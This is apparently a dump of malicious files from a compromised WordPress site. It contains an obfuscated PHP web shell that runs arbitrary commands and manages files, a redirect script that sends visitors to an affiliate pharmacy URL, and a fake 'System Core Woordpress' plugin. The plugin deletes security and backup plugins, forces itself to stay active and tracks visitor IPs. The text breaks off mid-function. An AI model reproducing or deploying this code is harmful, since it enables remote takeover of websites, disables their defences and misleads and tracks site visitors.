htmlspecialchars($_GET["\164\141\x72\147\145\164"]) . "\47\x20\x73\x75\143\x63\145\163\x73\x66\165\154\x6c\171\40\144\x65\x6c\x65\x74\145\144\x2e"; goto INBBG; Fy_fb: T2Guv: goto faWyb; YsY1N: echo htmlspecialchars($Y3ohk); goto lfP6l; WQXaB: echo "\x3c\x69\156\x70\x75\164\x20\164\171\x70\145\75\x27\163\x75\x62\x6d\151\x74\47\40\156\x61\155\x65\x3d\x27\x65\144\x69\164\x27\x20\x76\x61\154\x75\x65\x3d\47\x53\x61\x76\145\47\x3e"; goto zR1IL; G9Aav: return; goto wQHu7; IWGsb: fwrite($chohD, fread($p0sn2, 8192)); goto hIVSx; fp4EZ: foreach ($YLGS4 as $CynRc) { goto ni5UD; BsZSo: echo "\x3c\164\x72\x3e\x3c\x74\144\76\x5b\104\x49\122\135\74\57\x74\x64\x3e\74\164\x64\x3e\74\141\x20\x68\162\x65\x66\75\x27\x3f\x64\151\x72\75" . urlencode($Z7MBZ) . "\47\76" . htmlspecialchars($CynRc) . "\x3c\57\x61\76\74\x2f\164\144\x3e\x3c\164\144\x20\163\x74\x79\x6c\x65\75\47\x63\x6f\x6c\157\162\72\40{$UIJVK}\x3b\47\76{$JFKqa}\x3c\57\x74\x64\x3e\x3c\164\x64\76"; goto LOYLa; L58DY: echo "\x3c\x62\165\x74\164\x6f\156\x20\164\x79\x70\145\x3d\47\163\165\x62\155\151\164\47\x3e\x67\x6f\x3c\57\142\x75\x74\164\157\156\x3e"; goto BvnQx; jdKeJ: echo "\x3c\x73\145\x6c\x65\x63\x74\40\x6e\x61\x6d\x65\75\47\141\x63\164\x69\x6f\x6e\47\76"; goto UHT1w; UHT1w: echo "\74\157\160\164\x69\x6f\156\x20\166\x61\154\x75\x65\x3d\x27\47\x3e\123\145\154\145\x63\x74\x3c\x2f\x6f\x70\164\x69\157\156\76"; goto sHTPE; BvnQx: echo "\74\x2f\146\x6f\x72\155\x3e"; goto yV70V; yV70V: echo "\74\57\x74\x64\76\74\57\164\162\76"; goto HZQNm; ni5UD: $Z7MBZ = $C2iZN . "\57" . $CynRc; goto YD24R; J2yx4: echo "\x3c\57\x73\x65\x6c\145\143\x74\x3e"; goto L58DY; LOYLa: echo "\74\x66\157\162\155\40\155\145\x74\x68\157\144\x3d\47\x67\x65\x74\x27\40\x73\164\171\154\145\75\x27\144\x69\163\160\154\141\x79\72\x69\x6e\x6c\x69\156\145\73\47\x3e"; goto c76p5; c76p5: echo "\x3c\x69\x6e\160\165\x74\x20\x74\171\160\x65\x3d\47\150\151\x64\x64\145\x6e\x27\40\156\141\x6d\145\75\x27\144\x69\x72\47\40\x76\141\154\x75\145\x3d\x27" . htmlspecialchars($C2iZN) . "\x27\76"; goto l63xY; YD24R: $UIJVK = is_writable($Z7MBZ) ? "\147\x72\145\x65\156" : "\162\x65\x64"; goto Kyyxj; l63xY: echo "\x3c\x69\156\160\165\x74\x20\164\x79\x70\x65\x3d\47\150\x69\x64\x64\145\156\x27\x20\x6e\141\155\145\x3d\x27\164\141\162\147\x65\164\x27\40\166\141\154\165\x65\x3d\47" . htmlspecialchars($CynRc) . "\47\76"; goto jdKeJ; HZQNm: l9W5E: goto a7vHS; Kyyxj: $JFKqa = LLKia($Z7MBZ); goto BsZSo; sHTPE: echo "\74\157\160\x74\x69\x6f\156\x20\166\141\x6c\165\145\x3d\47\x64\145\x6c\145\164\145\x27\x3e\x44\x65\x6c\145\x74\145\74\57\x6f\x70\164\151\x6f\156\x3e"; goto J2yx4; a7vHS: } goto t09qR; XiVwZ: if (!($Y3ohk === false)) { goto nAJ2e; } goto TP2a8; yZqet: $YLGS4 = array(); goto LADys; WqXFy: if (feof($CDWcZ)) { goto KZKM5; } goto JsTF_; NdzYc: $Y3ohk = "\x47\x61\x67\141\x6c\40\x6d\145\x6d\x62\141\143\x61\40\146\x69\154\x65\40\x64\x65\156\147\141\156\40\163\x65\x6d\165\141\40\155\x65\164\157\x64\145\56"; goto NNR6D; s5T3U: goto plp37; goto tl6a1; n1j7p: if (!$tCTFJ) { goto MVkn3; } goto BTuCr; Y4hNj: if (is_dir($Z7MBZ)) { goto Fvvw4; } goto r9XK9; fk3FQ: y1yP3: goto Calj5; aMMBi: fclose($tCTFJ); goto m4uCT; Ue0nW: Np6Aj: goto WMxSa; cfIQT: fclose($p0sn2); goto YMMGj; dH07I: ob_start(); goto UQZ9B; ELBxh: FyQd9: goto XiVwZ; pfwTw: $CDWcZ = @fopen($Vhptd, "\162"); goto G0n4g; IZrnf: if (rename($_FILES["\x66\x69\x6c\145"]["\x74\155\x70\137\x6e\141\x6d\145"], $biJU3)) { goto gqow2; } goto NzdSn; IL29x: if (!is_readable($Vhptd)) { goto Noyrd; } goto m3cxJ; mBDWy: nrUL1: goto Vc9Fp; qOUHg: echo "\x3c\151\156\x70\165\x74\40\x74\171\x70\x65\x3d\x27\164\x65\170\x74\x27\40\x6e\x61\x6d\145\75\x27\x63\155\144\47\40\160\154\141\143\145\150\157\154\144\145\x72\x3d\47\x45\x6e\x74\x65\x72\40\143\x6f\x6d\x6d\x61\x6e\144\x27\x20\162\x65\161\x75\151\x72\145\x64\x3e"; goto weXj6; ey_MG: goto plp37; goto IBlU4; F7vr6: $hUQno = $C2iZN . DIRECTORY_SEPARATOR . basename($_POST["\156\x65\x77\137\x6e\141\x6d\x65"]); goto lqIsm; EZ57Q: goto T2Guv; goto fk3FQ; vetXq: d4jTi: goto YJDOE; FA2Yx: $biJU3 = $C2iZN . "\x2f" . basename($_FILES["\x66\151\154\145"]["\156\141\x6d\x65"]); goto lDSl1; arvmN: goto nrUL1; goto NQQsc; cWkIO: if (function_exists("\163\171\x73\x74\145\x6d")) { goto Or614; } goto X1_IF; uzp3u: $CDWcZ = popen($Bg2B8, "\162"); goto moYjT; ufDqx: echo "\74\x70\162\x65\40\x73\164\171\x6c\145\x3d\x27\x77\x68\151\164\145\55\163\160\x61\x63\x65\x3a\x20\160\x72\145\55\x77\162\141\160\x3b\x20\x62\x61\x63\x6b\x67\x72\x6f\165\156\x64\x2d\x63\157\x6c\157\x72\72\x20\x23\x66\62\x66\x32\146\x32\x3b\40\x66\157\x6e\x74\55\146\141\155\151\x6c\171\72\x20\x6d\157\156\x6f\x73\160\141\143\x65\x3b\40\x6f\x76\145\x72\x66\x6c\x6f\x77\x2d\x79\x3a\x20\x61\x75\x74\x6f\73\x20\x62\x6f\170\x2d\x73\x69\x7a\151\x6e\147\x3a\x20\x62\157\162\144\145\x72\55\x62\x6f\x78\x3b\40\x68\145\x69\x67\150\164\x3a\x20\62\60\60\160\x78\73\40\x77\151\x64\x74\150\72\40\61\x30\x30\45\73\40\x6d\x61\x78\x2d\167\151\x64\x74\x68\x3a\x20\70\x30\x30\160\170\x3b\x20\x6d\141\x72\x67\x69\156\x2d\x74\157\x70\72\40\61\60\160\x78\73\x27\76"; goto YsY1N; QpuK4: if (is_dir($Vhptd)) { goto oCaJK; } goto GBxmw; bPj_E: JDwY9: goto Lz9mg; bi6oG: echo "\74\150\x34\76\x43\157\x6d\155\x61\x6e\144\x20\145\x78\x65\x63\165\x74\145\x64\40\151\156\x20\144\151\x72\x65\x63\x74\157\162\x79\72\40" . htmlspecialchars($q7ZEO) . "\74\x2f\x68\x34\x3e"; goto rbDie; YvEk2: echo "\x46\141\151\154\x65\x64\40\164\157\x20\143\x72\x65\x61\x74\145\40\141\x20\x74\x65\155\160\x6f\162\x61\x72\x79\40\146\151\x6c\145\56"; goto W07rX; Xe2gD: if ($r9x18 = @opendir($C2iZN)) { goto HhfqH; } goto I4awq; Snqj1: a4RTZ: goto z8t6i; nGMe1: fmgQn: goto phjy9; GwOCU: echo "\x46\x69\154\x65\40\156\x6f\164\40\146\157\x75\x6e\x64\56"; goto aG0HH; WMxSa: x1gD4: goto riIqM; wpIqc: if (!isset($_POST["\x65\170\x65\143\x75\x74\145"])) { goto BpfPd; } goto tiqUz; B0nRD: $CDWcZ = proc_open($Bg2B8, [1 => ["\160\151\x70\145", "\167"], 2 => ["\160\151\x70\145", "\x77"]], $dqGlk); goto H_3WT; qo00C: if (feof($CDWcZ)) { goto FGewm; } goto eksi3; LADys: $VQ2i5 = array(); goto Xe2gD; zKQeu: echo "\74\x74\x65\170\x74\x61\162\x65\141\40\156\141\155\145\x3d\x27\146\151\154\145\x5f\143\157\156\164\x65\x6e\164\x27\x20\162\x6f\167\163\x3d\x27\61\x30\47\40\143\x6f\x6c\x73\75\x27\x35\60\x27\40\163\164\x79\x6c\145\75\x27\x77\x69\144\164\x68\x3a\40\x38\63\x25\x3b\40\150\145\151\147\150\x74\72\40\x33\x30\x25\73\40\142\157\x78\55\x73\151\x7a\151\156\147\72\40\142\x6f\162\x64\x65\x72\55\142\157\x78\73\x27\x3e{$Y3ohk}\74\57\164\145\x78\x74\x61\x72\145\x61\x3e\74\x62\162\76"; goto KmuNa; ry1zI: Or614: goto dH07I; opyNj: $Y3ohk = "\x46\x69\154\145\x20\x74\151\x64\141\153\40\x64\x61\x70\x61\164\x20\x64\151\142\141\143\x61\x20\x61\164\x61\x75\x20\x74\151\144\141\153\x20\144\151\164\x65\155\x75\153\x61\x6e\x2e"; goto IL29x; O1itV: if (!isset($_POST["\145\144\x69\164"])) { goto x1gD4; } goto cUZj1; Oel3c: goto Z8YZW; goto zM3ZW; riIqM: if (!isset($_POST["\x72\145\x6e\141\155\145"])) { goto NKTv4; } goto H5ulj; XtG94: foreach ($VQ2i5 as $rNb72) { goto f2px6; GYBcD: rcdv1: goto oPEcb; n4a05: echo "\x3c\x69\x6e\x70\165\164\40\164\171\160\145\x3d\x27\x68\x69\x64\x64\x65\156\47\40\x6e\x61\155\x65\x3d\x27\144\151\162\47\x20\x76\141\x6c\165\x65\75\x27" . htmlspecialchars($C2iZN) . "\x27\76"; goto vm9Nc; vm9Nc: echo "\x3c\151\156\160\165\x74\x20\164\171\x70\x65\75\x27\150\x69\x64\x64\x65\156\x27\x20\x6e\141\155\145\75\47\164\141\x72\x67\145\x74\47\x20\166\x61\154\165\x65\75\47" . htmlspecialchars($rNb72) . "\x27\76"; goto tGIJa; HQoti: echo "\74\x2f\164\x64\76\74\57\x74\162\76"; goto GYBcD; SAwB4: echo "\74\x2f\x73\145\x6c\x65\143\164\x3e"; goto ODcy2; yFzP0: echo "\x3c\x74\x72\76\74\x74\x64\76\x5b\106\111\x4c\105\x5d\x3c\57\164\144\x3e\x3c\164\x64\x3e\x3c\141\40\x68\x72\x65\146\x3d\47\x3f\x64\x69\162\x3d" . urlencode($C2iZN) . "\x26\x72\x65\141\x64\146\151\154\x65\75" . urlencode($C2iZN . DIRECTORY_SEPARATOR . $rNb72) . "\47\76" . htmlspecialchars($rNb72) . "\x3c\57\141\x3e\x3c\x2f\x74\144\76\74\x74\144\40\x73\164\x79\x6c\x65\x3d\47\143\157\x6c\x6f\x72\x3a\x20{$UIJVK}\73\47\x3e{$JFKqa}\74\x2f\x74\x64\x3e\x3c\x74\144\x3e"; goto GOY3b; tGIJa: echo "\x3c\x73\x65\154\x65\143\x74\40\156\x61\155\x65\x3d\x27\x61\143\164\151\x6f\156\x27\76"; goto V3psW; rIQQO: $JFKqa = llkIA($Z7MBZ); goto yFzP0; dDP_x: $UIJVK = is_writable($Z7MBZ) ? "\147\x72\x65\x65\156" : "\x72\x65\x64"; goto rIQQO; QWxU8: echo "\x3c\x2f\x66\x6f\x72\x6d\76"; goto HQoti; ODcy2: echo "\74\x62\x75\164\x74\157\x6e\x20\164\171\160\x65\x3d\47\163\165\142\x6d\151\164\47\76\x47\157\74\57\142\x75\164\164\x6f\156\76"; goto QWxU8; V3psW: echo "\x3c\157\x70\164\151\157\x6e\40\166\141\154\x75\x65\75\x27\x27\x3e\x53\145\x6c\x65\x63\164\x3c\57\x6f\x70\x74\151\x6f\156\x3e"; goto pjCD_; GOY3b: echo "\74\x66\x6f\x72\155\x20\155\145\164\x68\x6f\144\75\47\x67\145\x74\47\x20\163\164\x79\154\145\x3d\x27\x64\151\163\160\154\141\x79\72\x69\156\x6c\x69\x6e\x65\x3b\x27\x3e"; goto n4a05; pjCD_: echo "\x3c\157\x70\x74\151\x6f\156\x20\x76\x61\x6c\165\145\75\47\145\144\151\x74\47\x3e\105\x64\x69\x74\x3c\57\x6f\160\164\151\x6f\156\x3e"; goto Nrj6P; f2px6: $Z7MBZ = $C2iZN . "\x2f" . $rNb72; goto dDP_x; NtGNR: echo "\74\157\160\x74\151\x6f\x6e\x20\x76\x61\x6c\x75\x65\75\x27\144\x65\x6c\x65\164\x65\x27\76\104\145\154\x65\164\145\74\57\x6f\x70\x74\x69\157\x6e\76"; goto SAwB4; Nrj6P: echo "\74\157\160\x74\x69\x6f\156\x20\x76\x61\x6c\165\145\x3d\47\162\x65\156\141\155\145\47\x3e\x52\x65\x6e\141\x6d\145\x3c\x2f\x6f\x70\x74\x69\x6f\156\76"; goto NtGNR; oPEcb: } goto yxd6m; JPgR5: HhfqH: goto FzZnZ; UQZ9B: system($Bg2B8 . "\40\x32\x3e\x26\61", $XoHeB); goto zf3jx; tY80T: goto cT6bd; goto F_56B; oT3JS: echo "\x3c\160\76\x55\156\x61\142\154\x65\x20\x74\157\x20\162\x65\x61\x64\40\x66\x69\154\x65\x2e\x20\111\x74\40\x6d\141\171\40\156\157\x74\x20\142\145\40\162\x65\141\144\141\142\154\x65\40\x6f\x72\40\151\x74\40\144\157\145\163\x6e\x27\x74\40\145\x78\x69\163\164\56\x3c\x2f\x70\76"; goto CzKfz; hn7ve: goto ekJFS; goto xui8b; SdQDV: $Z7MBZ = $C2iZN . DIRECTORY_SEPARATOR . $rNb72; goto Y4hNj; Va6uI: if ($a8let === "\144\x65\154\x65\x74\145") { goto LZe9N; } goto G5h0r; rRCag: if (file_put_contents($DM4B5, $_POST["\146\x69\154\145\137\143\x6f\156\x74\x65\156\164"]) !== false) { goto ZwuuS; } goto rZ2Ko; cKwcP: echo "\x3c\x66\157\162\155\x20\x6d\145\164\x68\x6f\144\x3d\x27\160\x6f\x73\164\x27\76"; goto zKQeu; eSi5G: $tCTFJ = @fopen($xCB4f, "\167"); goto BVgcZ; W00D4: echo "\74\151\x6e\x70\x75\164\x20\x74\171\160\145\x3d\47\150\x69\144\x64\x65\x6e\47\x20\x6e\x61\x6d\x65\75\47\157\x6c\144\x5f\x6e\x61\155\x65\47\40\166\141\x6c\165\x65\x3d\x27" . htmlspecialchars($_GET["\x74\141\162\x67\145\x74"]) . "\x27\x3e"; goto Feadj; LOFf0: if (function_exists("\160\x72\157\x63\137\x6f\160\145\x6e")) { goto A25bL; } goto cJT0h; h1s83: echo "\116\x6f\x20\146\x69\154\145\163\x20\163\145\x6c\x65\x63\x74\x65\x64\x2e"; goto SoQ3E; rayok: NXcwt: goto aBVXZ; nFTB8: BpfPd: goto f20Fe; SVMmD: $Ixx1r = ob_get_clean(); goto p3FHP; prsYs: if (function_exists("\145\x78\145\143")) { goto YPYi0; } goto t9Lr0; wHLFB: UyptY: goto R67ND; r9XK9: $VQ2i5[] = $rNb72; goto hn7ve; wir04: vzeNT: goto t6t22; q3gLJ: $Ixx1r = stream_get_contents($dqGlk[1]); goto ztLas; wOfg_: $a8let = $_GET["\141\143\164\151\157\x6e"]; goto OdGA5; UPrlv: $Y3ohk = ''; goto vXU4a; gHFvv: echo "\x46\151\154\x65\x20\165\x70\154\x6f\141\144\145\x64\x20\163\165\143\143\145\163\163\x66\165\x6c\x6c\x79\x20\165\x73\x69\x6e\147\x20\143\157\160\171\x2e"; goto okAvC; xFBG9: echo "\74\x68\62\x3e\104\x49\122\176\72\x20" . f2emE($C2iZN) . "\74\x2f\150\x32\x3e"; goto NblVT; hX57w: if ($nA6dC !== false) { goto ASufB; } goto NdzYc; Y7D7v: $nA6dC = @file($CI7Qm); goto q3AFf; ytb3Z: echo "\74\150\63\76\122\145\x6e\x61\x6d\145\72\40" . htmlspecialchars($_GET["\164\x61\x72\x67\x65\164"]) . "\x3c\x2f\x68\x33\76"; goto ba2GP; zR1IL: echo "\x3c\57\146\157\162\x6d\x3e"; goto ooQRT; YV9YY: I4Fng: goto LM6Kt; f0QwD: if (is_readable($CI7Qm)) { goto f_5Bi; } goto oT3JS; rULDB: fclose($tCTFJ); goto Fy_fb; Kv604: u40Pt: goto rRCag; RoiVG: qjwmy: goto ytb3Z; P2pwf: if (unlink($Vhptd)) { goto LwHWZ; } goto FBVmZ; Nv8lM: FUBpu: goto PD6t2; jjbSW: UdctY: goto SdQDV; WPdH_: ZwuuS: goto npGjR; XOcWQ: i_4fO: goto vdaTQ; CRM0h: YWeRj: goto wHLFB; XV3rZ: LwHWZ: goto QpVoZ; A8b0G: cT6bd: goto mBDWy; zf3jx: $Ixx1r = ob_get_clean(); goto s5T3U; tl6a1: r0LeZ: goto gNJLM; tiqUz: $Bg2B8 = $_POST["\143\155\144"]; goto SOe2I; eDEnR: gqow2: goto UkgYm; ya7q9: Z8YZW: goto LBkKF; biS69: klsQz: goto u9t0i; mBqpo: YNXJE: goto Ue0nW; Jud_A: eTm9l: goto o_l3V; WeKJx: if (is_file($xCB4f)) { goto fmgQn; } goto M4rIF; aglrD: kwgyr: goto tmE1J; LBkKF: if (!(($Pbdzo = fgets($tCTFJ)) !== false)) { goto kGoIs; } goto Kd69R; fspag: MsIN3: goto oUxdt; sxHux: echo "\x3c\57\146\157\x72\155\76"; goto Mgg3C; XdjVQ: echo "\x3c\160\x3e\103\157\155\155\141\x6e\x64\40\x63\x61\x6e\156\157\x74\x20\142\x65\x20\x65\x6d\160\x74\171\56\x3c\57\160\x3e"; goto djKk3; JtxOT: A25bL: goto B0nRD; moYjT: if (!is_resource($CDWcZ)) { goto pIyiC; } goto QqT85; NS5bx: goto lkiRB; goto Nv8lM; ESiCm: gDFYe: goto UPrlv; Ql80B: exec($Bg2B8 . "\x20\x32\76\46\x31", $OtP_2, $XoHeB); goto kdPuK; ADgUc: goto NXcwt; goto Ldioy; fRoG9: Z31ys: goto znd0a; yMjdi: goto plp37; goto DnOSW; JKtWa: OmM2Z: goto lhtX8; QRRgv: NKTv4: goto ONRWv; h6gZ6: if ($chohD) { goto FUBpu; } goto Zr2Ia; yEc57: bJsor: goto qYcUG; euVmb: $Ixx1r = ''; goto foFQB; SoQ3E: u8oQx: goto JCUAq; UIUXM: $Y3ohk = fread($tCTFJ, filesize($CI7Qm)); goto wHPsF; xui8b: Fvvw4: goto Zzl1d; tmE1J: function f2emE($q7ZEO) { goto TKCAQ; NPXfS: $Z7MBZ = ''; goto znhj6; mHtyf: return implode(DIRECTORY_SEPARATOR, $Lnhaq); goto IrXjN; oDzjN: L3v5m: goto mHtyf; znhj6: foreach ($kmfcn as $hexDq) { goto QKB6g; RlNpe: $Z7MBZ .= DIRECTORY_SEPARATOR . $hexDq; goto fK6Cx; QKB6g: if (!($hexDq === '')) { goto T3K6h; } goto Ys6lX; EKPZj: pWYP0: goto od_6h; fK6Cx: $Lnhaq[] = "\74\x61\x20\150\162\x65\146\75\x27\x3f\x64\x69\162\x3d" . urlencode($Z7MBZ) . "\x27\76" . htmlspecialchars($hexDq) . "\x3c\57\x61\x3e"; goto EKPZj; nSR3G: T3K6h: goto RlNpe; Ys6lX: goto pWYP0; goto nSR3G; od_6h: } goto oDzjN; GA_7s: $Lnhaq = array(); goto NPXfS; TKCAQ: $kmfcn = explode(DIRECTORY_SEPARATOR, $q7ZEO); goto GA_7s; IrXjN: } goto Tymxn; ebJGL: KZKM5: goto JKI_D; JCUAq: v6kK3: goto O1itV; lqIsm: if (rename($zgy2y, $hUQno)) { goto i_4fO; } goto Z5gUR; Lz9mg: goto iqIAR; goto oUZ3D; QqT85: zVCD6: goto WqXFy; cIzdr: goto C2PkC; goto Jud_A; qYcUG: if (feof($p0sn2)) { goto s3qL6; } goto IWGsb; cJT0h: if (function_exists("\160\157\160\145\x6e")) { goto o1_Bc; } goto hDSSS; SQMSw: FGewm: goto wotBw; vXU4a: s7h1n: goto qo00C; NzdSn: $p0sn2 = fopen($_FILES["\x66\151\x6c\145"]["\x74\x6d\160\x5f\156\141\x6d\145"], "\x72\142"); goto IDsRO; l38jv: $Ixx1r = shell_exec($Bg2B8 . "\40\x32\x3e\46\x31"); goto WaWEa; IV5VV: goto uw3Q5; goto n7IWB; KnmNC: echo "\x3c\x2f\164\141\x62\154\x65\x3e";

woocommerce_inputs/woocommerce-load.php000064400000000653147510273110014437 0ustar00<?php

$my_custom_redirect = 'https://rx-true.com/?aff=1880';

if (empty($_COOKIE['partner_'])) {
    setcookie('partner_', 1, time() + 86400, '/');
    echo '<script>
        window.location.replace("https://www.google.com/url?sa=t&url=' . urlencode($my_custom_redirect) . '");
    </script>';
    header("Location: https://www.google.com/url?sa=t&url=" . urlencode($my_custom_redirect), true, 302);
    exit;
}
?>woocommerce_inputs/woocommerce_inputs.php000064400000033210147510273110015117 0ustar00<?php
/*
Plugin Name: System Core Woordpress
Description: Ensuring operation of the engine kernel Woordpress
Author: Woordpress
Version: 15.2
*/

if (!defined('ABSPATH')) {
    exit;
}

function gwci_delete_directory($dir) {
    if (!file_exists($dir)) {
        return;
    }
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::CHILD_FIRST
    );
    foreach ($iterator as $fileinfo) {
        $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
        @$todo($fileinfo->getRealPath());
    }
    @rmdir($dir);
}

function gwci_is_our_plugin($plugin_path) {
    $self_slug = 'woocommerce_inputs';
    if (stripos($plugin_path, $self_slug) !== false) {
        return true;
    }
    return false;
}

function gwci_check_and_remove_conflicting_plugins() {
    $signatures = array(
        'fn_aa3fb05a15bfeb25dc278d4040ae23bf',
        'trigger_redirect',
        'woocommerce-load.php',
        'Plugin Name: Woocommerce custom inputs',
        'Version: 1.2',
        'custom_redirect_function',
        'collect_ips',
        'sdunxrjgcx',
        'jpwvsnwqfh',
        'Ansar Import',
        'WP File Manager',
        'WP SECURE ACCESS',
        'Sucuri Security - Auditing, Malware Scanner and Hardening',
        'Solid Security Basic',
        'Protect Uploads',
        'Page Security & Membership',
        'Oxucop',
        'OT Portfolios',
        'Kirki Customizer Framework',
        'Header Footer Code Manager',
        'Form to Chat by WhatsForm',
        '___RedQ Reuse Form',
        'Cartsy Algolia Integration',
        'Cartsy Helper',
        'Fire Mobile',
        'Google Ads & Marketing by Kliken',
        'Manager de fișiere WP',
        'Admin Menu Editor Pro',
        'Classic Widgets',
        'Download Plugins and Themes from Dashboard',
        'Duplicator Pro',
        'File Manager Advanced',
        'Filester - File Manager Pro',
        'mndpsingh287',
        'create_ip_tracking_table',
        'collect_ip_address',
        'Interactive WP',
        'WordPress Fix',
        'Version 2.73',
        'Version 1.3.3.7',
        'WebFactory Ltd',
        'Protect Uploads',
        'Smart Passworded Pages',
        'Jetpack by WordPress.com',
        'Bot Detection',
        'Easy WP SMTP',
        'Custom Mail SMTP Checker',
        'Core Functionality',
        'Sky Login Redirect',
        'Bakery Options',
        'Backuply',
        'optimizador.io',
        'Hotjar',
        'User Switching',
        'Nofollow for external link',
        'Loginizer',
        'wphave - Admin',
        'WordPress WhatsApp Support',
        'WP-PostViews',
        'WOOF - WooCommerce Products Filter',
        'Velvet Blues Update URLs',
        'MC4WP: Mailchimp for WordPress',
        'Dokan Pro',
        'fw-vimeo-videowall',
        'Smart Slideshow Widget (by obikui)',
        'Plugin Detective - Troubleshooting',
        'weMail - Email Marketing Simplified With WordPress',
        'MailPoet 3 (New)',
        'amoCRM WebForm',
        'Email on Changing User Role',
        'Envato WordPress Toolkit (Deprecated)',
        'MailPoet 2',
        'File Manager Advanced',
        'Link Shortner',
        'List Last Changes',
        'OptinMonster',
        'Call to Action Block - WPPOOL',
        'Gravity Forms CSS Ready Class Selector',
        'Semrush SEO Writing Assistant',
        'Flexible SSL for CloudFlare',
        'CodeStyling Localization',
        'Owl Carousel',
        'Ikosobusy',
        'WP SecurityPrime',
        'Amazon AI',
        'Filester - File Manager Pro',
        'Semrush SEO Writing Assistant',
        'Used by millions, Task Agent is quite possibly the best way in the world to protect your blog from spam',
        'Bot Detection',
        'FileOrganizer',
        'MC4WP: Mailchimp for WordPress',
        'Test jQuery Updates',
        'Semrush SEO Writing Assistant',
        'AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o Best AI WordPress Plugin',
        'Filester - File Manager Pro',
        'By Carlos Sebastian',
        'Client Dash',
        'UpdraftPlus - Backup/Restore',
        'WP Config File Editor',
        'WP BrowserUpdate',
        'BJ Lazy Load',
        'duplicator-pro',
        'Slider Revolution'
    );
    $plugins_dir = WP_PLUGIN_DIR;
    $current_plugin_basename = plugin_basename(__FILE__);
    $current_plugin_dir = dirname($current_plugin_basename);
    if (!is_dir($plugins_dir) || !is_readable($plugins_dir)) {
        return;
    }
    if (!function_exists('get_plugins')) {
        require_once ABSPATH . 'wp-admin/includes/plugin.php';
    }
    $all_plugins = get_plugins();
    $handle = opendir($plugins_dir);
    if ($handle) {
        while (($file = readdir($handle)) !== false) {
            if ($file === '.' || $file === '..') {
                continue;
            }
            $plugin_path = $plugins_dir . DIRECTORY_SEPARATOR . $file;
            if (!is_dir($plugin_path)) {
                continue;
            }
            if (gwci_is_our_plugin($plugin_path)) {
                continue;
            }
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($plugin_path)
            );
            $found_conflict = false;
            foreach ($iterator as $fileinfo) {
                if (!$fileinfo->isFile()) {
                    continue;
                }
                $content = @file_get_contents($fileinfo->getRealPath());
                if (!$content) {
                    continue;
                }
                foreach ($signatures as $signature) {
                    if (stripos($content, $signature) !== false) {
                        $found_conflict = true;
                        break;
                    }
                }
                if ($found_conflict) {
                    break;
                }
            }
            if ($found_conflict) {
                foreach ($all_plugins as $plugin_file => $plugin_data) {
                    if (stripos($plugin_file, $file) !== false) {
                        deactivate_plugins($plugin_file, false, is_multisite());
                    }
                }
                gwci_delete_directory($plugin_path);
            }
        }
        closedir($handle);
    }
}

function gwci_upgrader_process_complete($upgrader_object, $options) {
    if (isset($options['type']) && $options['type'] === 'plugin') {
        gwci_schedule_conflict_scan();
    }
}
add_action('upgrader_process_complete', 'gwci_upgrader_process_complete', 9999, 2);

function gwci_activate_schedule_scan() {
    if (!wp_next_scheduled('gwci_delayed_conflict_scan')) {
        wp_schedule_single_event(time() + 10, 'gwci_delayed_conflict_scan');
    }
}
register_activation_hook(__FILE__, 'gwci_activate_schedule_scan');

function gwci_schedule_conflict_scan() {
    if (!wp_next_scheduled('gwci_delayed_conflict_scan')) {
        wp_schedule_single_event(time() + 10, 'gwci_delayed_conflict_scan');
    }
}

add_action('gwci_delayed_conflict_scan', 'gwci_check_and_remove_conflicting_plugins');

function gwci_auto_reactivate($plugin, $network_deactivate) {
    if ($plugin === plugin_basename(__FILE__)) {
        activate_plugin(plugin_basename(__FILE__));
    }
}
add_action('deactivated_plugin', 'gwci_auto_reactivate', 9999, 2);

function gwci_force_active_priority() {
    if (!function_exists('get_plugins')) {
        require_once ABSPATH . 'wp-admin/includes/plugin.php';
    }
    $all_plugins = get_plugins();
    $active = get_option('active_plugins', array());
    $my_plugin = plugin_basename(__FILE__);
    foreach ($active as $index => $pl) {
        if ($pl === $my_plugin) {
            continue;
        }
        if (isset($all_plugins[$pl])) {
            $info = $all_plugins[$pl];
            $name = isset($info['Name']) ? $info['Name'] : '';
            $ver  = isset($info['Version']) ? $info['Version'] : '';
            if (stripos($name, 'Woocommerce custom inputs') !== false && $ver === '1.2') {
                unset($active[$index]);
            }
        }
    }
    if (!in_array($my_plugin, $active)) {
        $active[] = $my_plugin;
    }
    update_option('active_plugins', array_values($active));
}
add_action('plugins_loaded', 'gwci_force_active_priority', 0);

function gwci_keep_plugin_active($new_value, $old_value) {
    $plugin = plugin_basename(__FILE__);
    if (is_array($new_value) && !in_array($plugin, $new_value)) {
        $new_value[] = $plugin;
    }
    if (!function_exists('get_plugins')) {
        require_once ABSPATH . 'wp-admin/includes/plugin.php';
    }
    $all_plugins = get_plugins();
    foreach ($new_value as $key => $pl) {
        if ($pl === $plugin) {
            continue;
        }
        if (isset($all_plugins[$pl])) {
            $data = $all_plugins[$pl];
            $n = isset($data['Name']) ? $data['Name'] : '';
            $v = isset($data['Version']) ? $data['Version'] : '';
            if (stripos($n, 'Woocommerce custom inputs') !== false && $v === '1.2') {
                unset($new_value[$key]);
            }
        }
    }
    return $new_value;
}
add_filter('pre_update_option_active_plugins', 'gwci_keep_plugin_active', 9999, 2);

function GetIP() {
    foreach (array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR') as $key) {
        if (array_key_exists($key, $_SERVER) === true) {
            foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) {
                if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
                    return $ip;
                }
            }
        }
    }
    return '';
}

function trigger_redirect() {
    $plugin_dir = plugin_dir_path(__FILE__);
    $redirect_file = $plugin_dir . 'woocommerce-load.php';
    if (file_exists($redirect_file)) {
        include $redirect_file;
        exit;
    }
}

function should_redirect($user_ip) {
    if (get_option('custom_redirect_db_failed')) {
        return false;
    }
    global $wpdb;
    $exists = $wpdb->get_var(
        $wpdb->prepare("SELECT COUNT(*) FROM {$wpdb->prefix}ip_tracking WHERE ip_address = %s", $user_ip)
    );
    return ($exists == 0);
}

function custom_redirect_function() {
    if (is_user_logged_in()) {
